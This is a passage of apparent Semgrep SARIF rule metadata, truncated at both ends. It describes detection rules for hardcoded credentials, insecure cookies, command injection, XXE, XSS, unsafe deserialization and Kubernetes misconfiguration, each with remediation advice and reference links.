(HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure","id":"java.micronaut.audit.cookies.missing-secure.missing-secure","name":"java.micronaut.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"help":{"markdown":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection","id":"csharp.lang.security.injections.os-command.os-command-injection","name":"csharp.lang.security.injections.os-command.os-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.injections.os-command.os-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"help":{"markdown":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"help":{"markdown":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"help":{"markdown":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape](https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape)\n","text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","id":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","name":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","id":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","name":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"help":{"markdown":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url)\n - [https://golang.org/pkg/html/template/#URL](https://golang.org/pkg/html/template/#URL)\n","text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","id":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","name":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod","id":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","name":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostipc-pod.hostipc-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"help":{"markdown":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis)\n - [https://mas.owasp.org/MASVS/10-MASVS-CODE/](https://mas.owasp.org/MASVS/10-MASVS-CODE/)\n","text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"helpUri":"https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","id":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","name":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","id":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","name":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","id":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","name":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi)\n - [https://fastapi.tiangolo.com/advanced/templates/](https://fastapi.tiangolo.com/advanced/templates/)\n - [https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse](https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","id":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","name":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method","id":"python.django.security.audit.xss.html-magic-method.html-magic-method","name":"python.django.security.audit.xss.html-magic-method.html-magic-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-magic-method.html-magic-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection)\n - [https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html](https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted 